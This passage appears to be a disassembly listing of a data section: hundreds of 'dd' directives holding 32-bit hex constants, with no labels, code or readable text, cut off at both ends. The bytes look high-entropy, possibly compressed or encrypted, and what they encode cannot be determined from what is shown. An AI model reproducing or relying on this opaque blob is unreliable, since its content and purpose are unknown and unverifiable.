38D0D885h, 14D275h, 3D27B1FDh, 9781F0BDh, 0C8197D0Fh dd 5712054h, 0E9D416h, 0F0A9FDF4h, 346EC6A5h, 0FB7D940Fh dd 623CCF71h, 409A659Fh, 5778E8h, 0B3C911C7h, 61C81826h dd 1C1FD02Ch, 6E95AE9Eh, 763700CCh, 0ECFB7280h, 1804951Bh dd 3C10A071h, 9E42E300h, 0D30284Eh, 59F63Dh, 0AD4B6513h dd 0B5CAD3D4h, 8F4CA203h, 0B3D82619h, 9A5FA054h, 5A7100D0h dd 9438E5F0h, 413B6FEEh, 64298173h, 1BBA628Ch, 17565E4h dd 932B7678h, 0F8EB1AABh, 291F7499h, 0B4040F2h, 9A116613h dd 0E45400FAh, 6A3EEC44h, 22608B15h, 82D92940h, 425F09AFh dd 8E0C157h, 0F0EFFC94h, 0C5008978h, 9C40E14Eh, 0A0CC05h dd 3248D85h, 634D425Ch, 0F0A23903h, 0E8821AC3h, 0E0D323h dd 0CBF2A943h, 5D9485BEh, 0B14B56E2h, 88AF5480h, 0AC58129Fh dd 5F1B1649h, 31B709A4h, 0A9C02CC3h, 0A87AD82Dh, 0AA9908C3h dd 8129B228h, 38D7FF10h, 4EA9399Dh, 588EBDA0h, 500D8882h dd 80D10C48h, 559AEA03h, 0C02CD0D3h, 1C6C053h, 0AFE5B5BFh dd 808B8010h, 0D6F5B730h, 17B1A6D1h, 7F654DCh, 0D0FE700Eh dd 4EEE923h, 308B8CA9h, 30C0A953h, 0D82C15A8h, 27B73986h dd 2150162Ah, 60003546h, 0EA09BD9Fh, 3262031Ch, 9A92C774h dd 9800699Bh, 111DEB57h, 0B1770Eh, 83A0CB89h, 6CFC16BFh dd 7C479300h, 0B76FEFF4h, 0D5CC3A5Ch, 0E9C2124h, 8763572Bh dd 0A13F0B8Ch, 0F9171C8Eh, 8070BDC1h, 88CF589h, 0CB20329Ah dd 0C617BF00h, 4AA36EA7h, 0C08407B7h, 0D02B2AE4h, 30CFD3F0h dd 0AC0F46ECh, 8025B8ADh, 34080E54h, 59930A9Ah, 80B05709h dd 0C049FA8Ch, 0E51DD8D1h, 8B3E936h, 0A9210041h, 0C376490Fh dd 4CE879D1h, 7C78C0C0h, 0AF0560h, 16E53BC5h, 348BE94Dh dd 63C919DAh, 0D022A0F4h, 0D411C036h, 0A9823DAAh, 5A08003h dd 0A39F90B7h, 0F22126FFh, 5475037Ch, 0C0CF23CAh, 43BCAB69h dd 9C1ED0C1h, 0BF036F35h, 80D40B81h, 1C712E18h, 67981591h dd 0DF01805Ah, 220CE415h, 1FF8BA3Bh, 942C7C29h, 65D15100h dd 0E588111h, 0AAD9B3F2h, 5DFB41C1h, 8A02CC1Fh, 380E8600h dd 2ED8C4E6h, 0CBC3D47h, 6309950Fh, 0AA450A80h, 0A73FF089h dd 0E6FD83EEh, 0E026D66Fh, 754240Ch, 19EC2B07h, 3A3F018h dd 847AC4C7h, 0CB442006h, 7183C02h, 0A68C3DFBh, 45E88703h dd 1E18014Ah, 0FC6C747Ch, 5700845Ch, 88C00E0Dh, 0E0D6FCh dd 0EC6D5DE8h, 0C4556A0Bh, 0BECC4100h, 0E1C88B1Ch, 21CCFB94h dd 963132C5h, 149E04E8h, 3824201h, 3C1F48C9h, 449898BBh dd 94618946h, 0C700B570h, 0F863A024h, 7BC132Dh, 5BD5E92Fh dd 516FB014h, 0FD3C7A90h, 0A6A50344h, 1C46228Dh, 80673C40h dd 3BE8AF7Eh, 0C01D3D1Dh, 74181EABh, 331BD21h, 9DB8E67Eh dd 780039D3h, 13D0AF2Bh, 17F22C69h, 86A7C7h, 32F8DF99h dd 8C03CF03h, 2421222Fh, 0EF490068h, 8EA1AA3Dh, 8A14D0D4h dd 728A0F1h, 5139B4Ah, 3E019A7h, 399580D8h, 47001BE3h dd 0C4C8DC38h, 0EB07E84Fh, 0AA014944h, 4780CC7Ah, 0B5F7F443h dd 5E8E06C0h, 8FED84Bh, 61218760h, 370F78Ch, 0C53A1282h dd 181501EAh, 0F4AB52h, 5B06D403h, 118C6C8h, 4BFFD85Ch dd 9DB6BD52h, 3A06A221h, 79113E49h, 20E5005Ch, 3F8C83C4h dd 8A748BBFh, 20427530h, 0ECE59951h, 0A92F1D0Eh, 0C81AC020h dd 6E3EC5DAh, 83076738h, 8ED858DDh, 0A0379B91h, 2FEA76Fh dd 26756EA8h, 0C39447h, 745710Eh, 0D7BBE0E7h, 0FCFA653h dd 0A4882EEEh, 1C5817BCh, 0CED9F000h, 8C6C525h, 0F841915Eh dd 449CA732h, 4DB560A4h, 17CA0071h, 0F06F1D92h, 3A0AC4B3h dd 0A03FCBADh, 6AF6381h, 6BECA439h, 7EBC0AF7h, 10EA66h dd 7B06B0FDh, 4830087Ch, 0B122A9EBh, 0A77E5Ah, 37BF043Dh dd 9FC9B94Dh, 40092918h, 0C06A24D0h, 35B265C1h, 0B000F371h dd 77A1A93Eh, 798E6Ch, 0D0756BD8h, 43E301F7h, 0C4209E2Ah dd 6E8134A3h, 0BD0B609Bh, 49ED3Ah, 22A89EB1h, 63218ED9h dd 7A2C6172h, 0DEA9540Bh, 0A5B50073h, 0FE13F298h, 0C0AF004Fh dd 0FE744259h, 0BF1CC81Ch, 4C4FD831h, 3A45FE6Fh, 9C40A5EEh dd 0F17B4A69h, 16210FEAh, 120A2B02h, 0A6269CC4h, 8A6A00A7h dd 15CA8145h, 709CA700h, 0F3BE38BCh, 95B0004Bh, 83412580h dd 5218401Fh, 39413BA8h, 492A1202h, 3234436Ch, 3CC817FCh dd 9404CE46h, 828D6DCDh, 0A6492D80h, 0EF48072Ch, 0D042C902h dd 1B378E34h, 2776A900h, 5CA6DDAEh, 1E6E7FB6h, 0E110620h dd 8AE00798h, 0BA43D003h, 9ABB39h, 0BD47F3B0h, 0CC3E9FDFh dd 0FA21B809h, 2AA75201h, 0D5B27B55h, 1F7CD340h, 50866056h dd 0BB93C5ADh, 0E413D320h, 9EDF002Bh, 3DB70CFh, 9A0094C6h dd 0B99B805Bh, 0F2AF709h, 5C955048h, 680C30DBh, 40407F03h dd 0AA6A00D7h, 0FF92EA2Bh, 0D6006120h, 3D98F411h, 60821772h dd 7237877h, 1500A775h, 0BAD9C65Eh, 609A9E4Dh, 0F79B50B9h dd 3C030703h, 34BF9FC1h, 0A846FFF1h, 0E0EE71h, 315E3003h dd 0D59B4698h, 54697E01h, 0B36DCBCEh, 60CA8EC8h, 0F6F1899h dd 9F549D0Ah, 2F186BA0h, 3488137Ah, 4A520001h, 0AB3DF1AFh dd 9E007E7Bh, 307F24A5h, 35AE46h, 0DF965957h, 68065540h dd 0C5456B00h, 4694ABD1h, 3CB000F8h, 10DA179Fh, 13B0C3Dh dd 84E580C6h, 0CE67C1EBh, 42530079h, 97D166EFh, 650F13DBh dd 6F60DA18h, 467EA25h, 0D87A617Dh, 1B108638h, 1D0B1C6h dd 272893FDh, 0F4D0143Ah, 0F8002B89h, 2312FED9h, 64A5B1Ch dd 82FD1D88h, 0C444292Dh, 0C0C3072Ah, 0A2EAD990h, 0DE805A7Ah dd 960C043Bh, 0B4DCDD1Fh, 2562003Bh, 14ACD747h, 5E06008Dh dd 2A42BDD2h, 0F6388159h, 0F2DF0093h, 0D455C75h, 0E3FE4Ch dd 0F8312925h, 42D2CE03h, 0B07F9900h, 30E93518h, 53BE0039h dd 0ABB8DD04h, 3E00FBBAh, 95DFE6Ah, 697312h, 3D88D1E2h dd 525AAC4h, 11A7F8FBh, 0A299901Fh, 4465DE40h, 0F5BF3CFh dd 3582DB34h, 7CD60053h, 62E70203h, 4AED2001h, 0B93851C1h dd 7B8880C7h, 803900F6h, 9B34E64Eh, 7A0063F0h, 14F5BBCBh dd 7C7856AEh, 0AB9E0067h, 0E76AF58h, 37F2D165h, 56B31F00h dd 48590B0Fh, 0EA9500D0h, 0BC8A93A5h, 180171BEh, 0EEA82B1Eh dd 72C0390Bh, 7EC40F31h, 0F9E0D66Ch, 0B6189506h, 0E666331Dh dd 0D2C21380h, 1FD8472h, 738BBCCFh, 431E2486h, 300737F8h dd 14597CE2h, 0EA1034C0h, 123500B3h, 0F87FDC66h, 7B008B43h dd 0B5D86149h, 7984299Bh, 88D0081h, 9CFE9828h, 0A174BF8Bh dd 462F39h, 0A82E2327h, 3660C1h, 0BEDD03AFh, 0B2261805h dd 38534524h, 7110800h, 3F6E105Dh, 0A280CDB1h, 5B3F1633h dd 8D152E7Ch, 20A795h, 0D7CC02B7h, 0F48ED6CDh, 707B3CD5h dd 0B2FCE68Ch, 8700843Ah, 0F8CA14CBh, 6569B3Eh, 461508E9h dd 9001D00Dh, 8FF76743h, 0EF4602FCh, 83FD0068h, 25A291DCh dd 130174C8h, 0FB3653D2h, 3F307F3Bh, 0F1840C07h, 0F6102A3Ah dd 9ED2611Eh, 0E98FDB01h, 0A024C609h, 0C8A80219h, 0D7C9A2ADh dd 4939A8A0h, 1F005830h, 0E10EF0A0h, 0F638248Bh, 8FA81802h dd 47B729C1h, 6C57BE00h, 0B82BFD21h, 82B02897h, 0BA8A3BB4h dd 0A7000938h, 79CA1FE5h, 397605C9h, 0CB5E0E00h, 0F2E911E6h dd 937D00E7h, 61E4A8A7h, 3601EE80h, 0A93470CCh, 9AD06FA6h dd 74010971h, 818C2E2h, 0A8862F40h, 0CED9B720h, 31206081h dd 6529FF11h, 73ECF500h, 19CC126Dh, 87160E96h, 560AA6D2h dd 0DE9B1C84h, 0CAADC0B1h, 8661C03Dh, 10AED90Eh, 565CA0E5h dd 60F3906Ah, 604F81Bh, 2275B491h, 0E11403F8h, 80A4EF28h dd 0B64E7F1Fh, 9EB514E9h, 0C200D866h, 2281A708h, 6829EE9Dh dd 8D018404h, 7F26C8B4h, 0FA595024h, 0DFAD00DEh, 0E261D231h dd 800082D7h, 6AB905A7h, 26878C46h, 80DC9D3Bh, 1F4B341Bh dd 28059903h, 4AA638F9h, 0BB5C8800h, 8043681Eh, 615CFE1h dd 0A6467E3h, 40D22015h, 74A500CBh, 491EA516h, 24C484B0h dd 8C0A2979h, 35565483h, 12C13800h, 0D87DE85Ch, 37960097h dd 0B60FEC7Bh, 3600D3ADh, 63BC73B7h, 0DCC030h, 246C37A9h dd 1059C650h, 1732E701h, 78143485h, 68E2FCh, 0DE2E9056h dd 0D77B8938h, 9181F0A3h, 9BC3606Bh, 368F4000h, 0C92CA8F7h dd 6F1F0192h, 897EBC59h, 0BFCCC095h, 0F04A0131h, 4BD67B5Bh dd 0B80BF2F4h, 0A0D670h dd 0F096674Ch, 0D46F7B16h, 0F2C30A00h, 0D02CAEB4h, 0A8C5502Bh dd 66060E4Bh, 0DD8036BBh, 4F98B3A7h, 882AFE28h, 80267E22h dd 595A0C44h, 0A61C0017h, 0A2EF40F3h, 2B2F5FCFh, 48C94909h dd 914C9496h, 91AC8110h, 708ECE7Ah, 0E506CD5Eh, 193DDCFEh dd 8B7003B8h, 71D9D752h, 9B279CC8h, 0EE93F5A0h, 7B12D61Fh dd 80004753h, 0A9FBC853h, 7AB201A8h, 0D236B3C5h, 52988049h dd 219D623Bh, 0AB10C04Dh, 0A2F5A498h, 8D0BB500h, 1C38FA52h dd 423A3BE6h, 0C08F851Eh, 27B82557h, 9078A87Ch, 748C361Ch dd 0B5413A9Eh, 0D2602CE4h, 39CEA1DCh, 0D980595Dh, 8EDD88A3h dd 2F001594h, 0BA0E8116h, 0D57296h, 253B4742h, 87F9A68Bh dd 689E1330h, 394D6597h, 717BCD6Eh, 19CE00DCh, 0B70E08B4h dd 21E0C20Bh, 8DB94A07h, 0B54611D6h, 18406090h, 1B8E7293h dd 54F5E907h, 0A400DF53h, 1C5F6Fh, 9AC0D77Fh, 3D86D243h dd 5E5BC106h, 8A2D94h, 0FA775028h, 55FCCA80h, 0B8044Ch dd 180A22D9h, 8898F5h, 0E2C4F17Dh, 4D6163D8h, 847C503Dh dd 51DDEB82h, 293DC4D0h, 0E08E04DEh, 1B11B4h, 6926E372h dd 2BE46Ah, 901891CDh, 7A6157FDh, 0C4194528h, 2794E612h dd 0C7F9E020h, 866509FFh, 487DE2Ch, 1B196010h, 0A900A11Fh dd 73E1BA6Ch, 32B47F7h, 2ED02384h, 40AFFEB7h, 0E6DD2791h dd 7A0B261Dh, 0ABC0EADDh, 3375ED78h, 5B7000BFh, 53BD741Ch dd 600B2A2h, 0F65F2EFEh, 496004h, 0F1CCCEAh, 990A6A1Eh dd 7D8C8603h, 0C50918DBh, 347CCF80h, 2F851CB5h, 4C09226h dd 90449C2Eh, 1B0BF2BCh, 0CB3E8D09h, 0B98820C3h, 2A778A8h dd 9E663544h, 78C8A4CFh, 40092A0h, 0A1832374h, 0A22260h dd 0ADF0F21Eh, 0AE325524h, 9E251900h, 292AA86Eh, 9CA24D4Eh dd 45D80E26h, 0DBC50596h, 0FEA84E5Eh, 0BC0209C0h, 0B8B2BA42h dd 140D4A00h, 5FAD7A9h, 58EF07AAh, 0D2225CDBh, 44C0430Fh dd 16001208h, 601DF2E6h, 0F6A44EFh, 40C0539Eh, 0EBF8EA40h dd 0B1326D2Eh, 60066A9Bh, 26116369h, 0C144D2B8h, 0FB1BCC93h dd 3BE080C4h, 2528812Eh, 0ED0088BCh, 942A2820h, 391AEF1h dd 4409B5ABh, 21021B6Dh, 80F87598h, 0CD98E83Dh, 2C17E04Ah dd 5890368Bh, 0F9005D5Ch, 1E1C3CBAh, 29C83E4h, 129361E5h dd 69E0CA5Fh, 5109C016h, 9136B25Bh, 38C9DA5Ch, 0E674DC19h dd 0E4933C00h, 32890EA8h, 0FF0D3A9Fh, 0E8676C00h, 76093147h dd 24F6B4A8h, 51D88900h, 2615D056h, 0DA7700E1h, 12EF117Fh dd 9D0014ECh, 0B3CF5584h, 0BC56FF5h, 5386699h, 18029C0Bh dd 0CE0407Eh, 200CC13h, 52DA1027h, 71BA9F7h, 81B09A2Fh dd 183A20AEh, 480E115Bh, 20D777F4h, 5F15840Ah, 946C5497h dd 0E044942Dh, 7CE5FDD4h, 4903B1DCh, 0F0E86D03h, 0B8E7C666h dd 96F900C1h, 33A02223h, 0EF072B7Ah, 66C249B4h, 0B0FD1351h dd 49E676C4h, 0A637F474h, 13E340B9h, 0C001F0A3h, 2B89FF1Ch dd 7060DE59h, 0FC0F0A23h, 60D81248h, 2E02F69h, 86FBC301h dd 80161110h, 0FED9D2D0h, 23E412h, 3BD3D6BCh, 0F2810C1Fh dd 48B1D717h, 0E0058062h, 0B58F1D6h, 9477694Ch, 0ACCDA600h dd 73098536h, 80C0128Ch, 0FDDD4F8Ch, 0FA5A7994h, 0A6870006h dd 70B820F8h, 96007AF1h, 0FCFBEF29h, 39C157C5h, 0E789D384h dd 0F5007678h, 98B80D39h, 2D50FE73h, 0B6E0A190h, 0AC11800h dd 4673970Eh, 0BF0C04Dh, 0CEDB1287h, 0D352F206h, 0F618561Eh dd 0D88D006Bh, 3BFD6C60h, 4FF6E318h, 0CC139424h, 9032378Ah dd 23BBC789h, 88DA9644h, 5DAF87D4h, 0E517C0BCh, 0A984453Eh dd 7EE80044h, 2401F84Ch, 17F23C0Bh, 3B4A020Fh, 1998F38h dd 166253B8h, 2E616EE5h, 5A57E9FCh, 170E8103h, 0E880EA6Dh dd 0B8A8FCC6h, 0BE00A373h, 8E29095Eh, 1F1DB5B3h, 0DFFEBB7Bh dd 9A62C024h, 88CE2B61h, 0B6F09000h, 0F1A7FBF6h, 3CFC22h dd 21708FFDh, 0AE58274Fh, 34AB5600h, 0BBA003A5h, 6DFE431h dd 7EE8F452h, 320020E9h, 0CEE73A37h, 7AD7F34h, 2376C197h dd 1D1AE015h, 7200D94Ah, 0C457051Fh, 0CD4C0Dh, 0FE801CBFh dd 0CB7A2F82h, 0F2FA3D71h, 0EC2D5000h, 110BEA95h, 86DF0027h dd 2CCE04E6h, 3A7BF61Fh, 0D9722E00h, 5B08A3E2h, 0F1CD0B06h dd 1C004185h, 0E4313892h, 6C09DE0Bh, 55D5811Ch, 9BF80F19h dd 0B187002Ch, 0FED7E270h, 5E585749h, 680A0170h, 59FB92C1h dd 907BCBh, 0AB842F6Bh, 0D6C5107Ch, 0D96D2100h, 51F3F0AEh dd 172E00F6h, 197923B7h, 6B04ADDFh, 0EF52B8CCh, 1A7D4580h dd 0F83074A9h, 0F3806A6h, 713CD595h, 874D8E26h, 841F0428h dd 2FC1FDBBh, 104C2831h, 28E6EBC8h, 0E07592h, 0B2F0FA56h dd 52E5969h, 15538h, 39F9BC6Ch, 0B89E0Fh, 0A3CC968Ch, 0C0E403B5h dd 0EC6B21Eh, 24F0003Eh, 72562346h, 0E3991863h, 34EEE0C1h dd 759BEB4Ch, 0EA012900h, 0DB247084h, 646E003Ah, 48853145h dd 43016C9Dh, 4C91A2Eh, 0C0808638h, 291B83B8h, 0FD00C86Eh dd 0DDD55B7Dh, 0F0BD64DCh, 0F684B80Ah, 1DF7F86h, 91B1D08Eh dd 20E74E79h, 28002218h, 0A174896Eh, 168DC402h, 1AA98A0h dd 78876988h, 4EA06030h, 74131690h, 0A800B634h, 284B6299h dd 51173B24h, 0AFF0880h, 50EEB1C2h, 5673AD0Ah, 7400F6D9h dd 65D65509h, 4AD000B6h, 0E5AAE948h, 5C0012B2h, 0C93582A7h dd 273543Dh, 0F8B5D8F9h, 0CC0DF40h, 0D0F05629h, 3CB9A92Eh dd 0B204C50Ch, 0F672ECh, 29FAE421h, 0B32E6BC8h, 79794E3Bh dd 8FB10C3Ah, 833CDDBDh, 0B0E88767h, 0D2328Ch, 161B1566h dd 89750746h, 1800AC4Eh, 0BA3727F9h, 7A73E9h, 7C7F6FAAh dd 61C142Ch, 44ECE30Fh, 567120BBh, 0BCE7B7h, 6E96FE04h dd 0B952EDC2h, 0C6B1CB00h, 0DF48F063h, 0E68C2845h, 58B2E49Ah dd 90747E2Ch, 4A7F37E2h, 3980B918h, 46DAD235h, 96695Ch dd 0E18CF093h, 0F24D2F15h, 0FCA20FB2h, 7A0C864h, 67452A6Dh dd 0CFEA2D00h, 4E4DCA3Fh, 20021FDEh, 1A5227h, 0C6598F08h dd 5C0032E8h, 0ABF36D57h, 0BA2BE4Ch, 592D9AEh, 6E5ABE03h dd 0D5FC6989h, 6A25C47Fh, 4A00EBEEh, 8CDDFDCh, 82139Fh dd 192A75F2h, 17B7BE59h, 3B83CA1Dh, 0D1634A80h, 0D6F32Dh dd 8625495Ah, 76E0B2A4h, 1CFC101Ch, 94B60901h, 11704301h dd 84E6FBh, 3B22152Eh, 44C9AAF6h, 0CA13FCEAh, 3400F54Fh dd 9D7301A3h, 99780EABh, 0C9E9F2B3h, 5204C8C8h, 0A65BD400h dd 6C7B134h, 7FD90B6Ah, 8B02F078h, 0B4C31FD1h, 41B33680h dd 0E55E87EBh, 6D10746Bh, 29F36Fh, 9BB4913Ah, 313DAC14h dd 28D30700h, 82F167C0h, 6A800E60h, 131905h, 0BC8B85FFh dd 77005771h, 4BF0D15Ch, 0E2CDAEC3h, 0E768094Fh, 80C0343Dh dd 7C0710A0h, 579F44EAh, 6C40D447h, 3DBC25Ah, 7926A4BEh dd 0BCE0F7DAh, 0B61261DFh, 40494369h, 0D60700E0h, 61C25E8Ch dd 0AB2E0832h, 34208168h, 51DE5B7Ch, 0F03A27F4h, 0A1D71FB9h dd 0D9FC000Ah, 0DA8FE7A2h, 28825Dh, 0B78132C7h, 185C2347h dd 106AB830h, 0F4003E45h, 0F1DA7D4Ah, 56194CDh, 0E7C4D4EEh dd 0B864014Fh, 0E5B55C97h, 573AF107h, 0F643F070h, 400A501h dd 8850D327h, 5C57C1Dh, 0EB445387h, 851CC056h, 0BF0C4F60h dd 0F8A57F70h, 4060067h, 437550D8h, 0E8051E12h, 0B72E57FCh dd 2B398404h, 26741380h, 9F970684h, 0D17BAF85h, 470F0D00h dd 328BA870h dd 0FB5500C2h, 0FF6DE335h, 3800C326h, 5BB7A57Ch, 773FBA21h dd 6F280FA3h, 86E18C52h, 0D8E8A14Ah, 0C4788138h, 8127E23Ch dd 0FECAE5F7h, 408E3114h, 0C895FCCDh, 87BD3000h, 0CA1CE794h dd 0F4BA0504h, 14B0AFAEh, 0A8C9009Ah, 51C28459h, 8D50E5D2h dd 0FDEC6AE8h, 7103F301h, 8F29B7DEh, 0FE34B9FCh, 0DD58E8EDh dd 697BD8D1h, 0CC004314h, 835005F3h, 0A99760Eh, 960F7DD3h dd 0D57740BCh, 2003EBAEh, 0AFB92AABh, 83490052h, 59807464h dd 0E5717FE1h, 7D06E70Ah, 853AD04Eh, 0DE1D612Eh, 0DCD00EC0h dd 9B50083h, 3194ECA2h, 0DB0FF903h, 622E1E3Ch, 80596C8Eh dd 0D2894610h, 0EE0E02B4h, 43DE2BE7h, 62B575E0h, 28DA6D33h dd 0A2090029h, 59E68168h, 0A10079FCh, 9CBF5BC3h, 18887B2Ah dd 28EC7307h, 0B0006764h, 47E84FA6h, 0CEA38Ah, 5E4ACFDh dd 2EA55E86h, 0B0FBCD00h, 1A91D032h, 395000CCh, 0D108A973h dd 0D50AA422h, 0D6F98FB1h, 0AAB5A830h, 992C1D80h, 116E4374h dd 3FD067D5h, 320063EAh, 37E10CD8h, 0D3FF5123h, 0B130089h dd 5831805Ah, 747EFD03h, 0D07F67C7h, 0EC6B746h, 0FB870977h dd 35801FEEh, 5E5318D1h, 97B4220Ch, 1A495Fh, 8F91FA81h dd 0A11D1E26h, 577319C2h, 3A4A0AFh, 18C02A60h, 21F605B8h dd 791E832Fh, 0C7000C24h, 326D54Dh, 0FA7BE422h, 10F054h dd 0FE170D64h, 769C2A8Fh, 52740807h, 4860B16Dh, 6B35FF5h dd 7D14B993h, 3100C690h, 0C6DE6C74h, 3EC47E4h, 66BCB375h dd 88A07FB1h, 0CB00DC62h, 0A531B050h, 1C2568D3h, 9E21301Ah dd 0D234000Dh, 0AB38EC74h, 5E14F8C0h, 22CBD5h, 0E6D178A9h dd 4CC47FAAh, 0D810AB63h, 0D768D888h, 0A5770F39h, 189D16E2h dd 4717213Bh, 8000E1E6h, 9E33C2FFh, 33C2C24h, 98B5F023h dd 2858AAE2h, 8910064h, 0A031ED29h, 94580C57h, 1B484FADh dd 0F2B77500h, 11A4AAD3h, 263838D2h, 7EC06200h, 0DA4F349Fh dd 251E9700h, 64440D33h, 0A6041817h, 0F6B14057h, 4A23E900h dd 5311F00Bh, 60F174C3h, 6D8E61B4h, 460707EAh, 12F35179h dd 1E6421BFh, 42C57E90h, 1CEA5A20h, 0C051D774h, 7A39CD1Ah dd 275F62E9h, 1249EEE0h, 0C479C3h, 59683715h, 81C0A191h dd 0ACEED161h, 8BFC387Bh, 0D36BA783h, 0A5D2706Ch, 7ACB80A0h dd 0CC38C4C3h, 26038C80h, 60CA0857h, 81642075h, 220319C3h dd 988941Eh, 921798AFh, 35262A65h, 0F525E8B8h, 0AA809047h dd 3093B90Fh, 0BFE9B7D3h, 970050D1h, 5B920295h, 65388Eh dd 625D2D53h, 31D85E46h, 8FD2D03Fh, 63FDA2E1h, 0A4AB16h dd 0E9494AC9h, 73C30E8Dh, 37138707h, 0B7623572h, 328E225Ah dd 0BFC18E60h, 0E2D77E00h, 12A89D5Ch, 2DF30096h, 9ED08E0Ah dd 4C031A2Ah, 0D20D3750h, 81B4A7h, 6710C949h, 2803623Bh dd 0E41B3571h, 0CB600056h, 66CC3FD0h, 5FFE8753h, 0A02E6D05h dd 1C819404h, 1EBE8B5h, 50557821h, 4E14811Bh, 70441120h dd 0A8A92A81h, 397023C1h, 0D77B8F7Dh, 4FC81011h, 6914F88Eh dd 90508249h, 213FC25Bh, 0C20A8184h, 0F60DFCh, 0E6A3592Dh dd 0AAD94FE0h, 807FA00h, 0E8CF470Bh, 0F4EB09C3h, 0AC3081A4h dd 6E1ED2E2h, 632189D7h, 20981909h, 8705B9CFh, 422C7E1Eh dd 0B40BFC40h, 0DEF3F0h, 0C59685DAh, 8F2AB6C9h, 0AD69E007h dd 1DC064A0h, 0F6DD28E6h, 680F2ABh, 0EC20DFB5h, 0E200101Ah dd 9DC9AC08h, 0DE7569h, 0B50E1CE3h, 4291BE8Fh, 0D7BC80A8h dd 5800E091h, 48C9A51Dh, 18751CACh, 0BD988A52h, 2E3886BCh dd 5FEEA144h, 3DED4200h, 0F4A196FCh, 16C0014h, 3E195D08h dd 9E09D513h, 27DD94EEh, 0E073E33Ch, 56410411h, 882C28ECh dd 5A04D874h, 678B7D75h, 30B3D083h, 0B8213D09h, 0B6E07579h dd 879EC301h, 7C0FC4B3h, 6066C5E8h, 0DA1BA1A6h, 36F665B8h dd 9A97A201h, 88C528DFh, 0CE348840h, 4651C00Fh, 0DF8BE033h dd 4BCD1800h, 8162EA9Fh, 305200AEh, 0E66FB853h, 11FACC0h dd 6C249B03h, 90D39209h, 0C1B468h, 0CD1ECEFEh, 9D604A8Ch dd 95FA4300h, 330C8AD6h, 35ED0562h, 22DF86A2h, 889090B0h dd 0D9098B2Bh, 800B43BFh, 722CCEDCh, 3D1B245Eh, 0F5B38C10h dd 1FF82DE0h, 2BE51813h, 0AC215820h, 0F57D29FFh, 78A80060h dd 99294DEh, 0D747120Bh, 1B04204Ch, 149C3h, 75E51F3Ah dd 2462C050h, 6754D112h, 10330021h, 0CBCE9050h, 0AD080058h dd 4695908Fh, 4361E717h, 7DA4F190h, 9E017426h, 29D772D2h dd 883E0C77h, 70E6150Dh, 39670801h, 0CCF60BB1h, 9694DDCh dd 0A4629EABh, 1713F087h, 80D2657Ah, 6F79E406h, 0F3089012h dd 0D8CE7042h, 5354603Ch, 0FB480020h, 0E196DAB1h, 0C6123F25h dd 2A000D62h, 0A0C3AA61h, 7C91FC87h, 0E20F010Ah, 3B20CAD1h dd 0D40BF72h, 588B5118h, 9972DECh, 0F8B562C4h, 578EC400h dd 170C26DCh, 0C94B5265h, 76D2A35h, 996CF890h, 0EB910520h dd 0B86400B4h, 86E392D5h, 0A3CEFC00h, 0A413584h, 187E5834h dd 8CC0E8h, 0E012225Dh, 0B1BBE8CCh, 28C634Ch, 1A240652h dd 40F86298h, 0FBC9CC0h, 0EA808CA5h, 0A00325A6h, 81E2260Ah dd 0DB0090CAh, 5F76DBFh, 7CE9000Dh, 5A037DE3h, 20C03E58h dd 0D29AE4A4h, 20F4531Ah, 782D682h, 414218h, 7E3B539Eh dd 0F5E00F52h, 0EAA0F206h, 3BE8517Ch, 879CCBC7h, 0C55A4001h dd 3966D323h, 0E700C4F8h, 780264AAh, 3428F6h, 0A2D90D9Eh dd 18FCDFDCh, 0A973FE00h, 240E9C04h, 8303DA1h, 0BA500A00h dd 36786A28h, 5300E1F8h, 7F4E0CA4h, 73B8540h, 819461FBh dd 0CDA86050h, 0C50013DDh, 4847AE3Ah, 63F6Ah, 0F70EF575h dd 0A955ED99h, 689C921Dh, 49290B80h, 1A8B07h, 0BA23790Fh dd 0E2AE7EDBh, 97267200h, 0A0DCB894h, 0CF840096h, 0A655C6BBh dd 0F4C04595h, 3D501B75h, 21F40029h, 0C3180377h, 4E7F11CFh dd 88A1E400h, 0FE0BAA55h, 195209B6h, 59803D90h, 93B79BBEh dd 0CDCE6400h, 62AF352Bh, 76E2CAh, 95EAA679h, 947E67A9h dd 0B1525D00h, 7A1854A7h, 6022007Dh, 625CD7A8h, 70F53419h dd 8300ABB8h, 0ADA557F4h, 7024282h, 0C1280FA0h, 549A90EEh dd 0F407064Eh, 8F63EC29h, 4D45E4C0h, 36670251h, 646A270Dh dd 5FC06C40h, 0BC5B3900h, 0E3A550A9h, 0E9A13E59h, 0F3DF9D86h dd 0F200196Bh, 87D69644h, 48425946h, 0E3809470h, 65BC7FFEh dd 79120607h, 0C4B01172h, 1CE56AE1h, 40BE7B1Dh, 0A8FAC0E0h dd 100A03Dh, 7319D17Fh, 7D90B353h, 2D7E03B1h, 0F4A72E85h dd 2A17B780h, 65A99D24h, 0F7E47A00h, 78EE765h, 43F4671Fh dd 2C7930A0h, 0FD008C22h, 855D1A41h, 58D3E1DDh, 0B700B934h dd 5AC0C794h, 65001F06h, 50688A77h, 719E80h, 8829DC4h dd 8F78EAD0h, 0B7FDFC00h, 95E7287Dh, 6DE9007Ch, 9C35D99h dd 4E0090A8h, 0BCC4359h, 0F025A208h, 0D7BE01F0h, 2D0D3368h dd 7E8C3429h, 49E7B000h, 0DBCF7441h, 8C0154A7h, 0B8190086h dd 1EDE4551h, 561EC608h, 79FF4Fh, 0D9A94950h, 4832BD91h dd 61009F8Ch, 7BA41A19h, 0CD0FAD2Ah, 0A00F2766h, 0C0A71825h dd 0BAE82845h, 0B7DC0184h, 7A1EDB1h, 0B87CE879h, 99B6AC00h dd 9C638DF6h, 51B00091h, 0EF5AE353h, 0CF097D71h, 805C6DA2h dd 0E1DEC07Ch, 0E4A5002Ch, 0FE5FAA74h, 7854A93Ah, 4D3BCCC8h dd 27E8986Ch, 607D10h, 5BBDD6B6h, 47D25277h, 95816C1Fh dd 63ACA540h, 30FDC6Ah dd 1C5E405Dh, 6DF8025Ah, 1500FC75h, 0EC2E4D53h, 88D3F9h dd 72CD1AAEh, 99AFF4A5h, 24566217h, 0D4F1D500h, 2EB27Ah dd 0F47B9BADh, 5195E641h, 0F8BC1533h, 0CC81F8C7h, 9A2B0002h dd 68D4350Ch, 5600D36Ch, 4E1DB160h, 2E15923h, 0CD66D8Dh dd 0A4405029h, 0D200224Bh, 2E701785h, 0C05A6B2Ah, 0FEF3D1C9h dd 0FC00A026h, 4D1EE5D4h, 837B18h, 3F7F9621h, 98550D12h dd 0FC000CB2h, 0F5399FACh, 3C143246h, 88494F6Bh, 68459280h dd 6C03E715h, 320EA4CCh, 0FCAFF10Fh, 0BE00A854h, 9AF2E28Eh dd 7D2003E7h, 1857C7A0h, 7FE53AF0h, 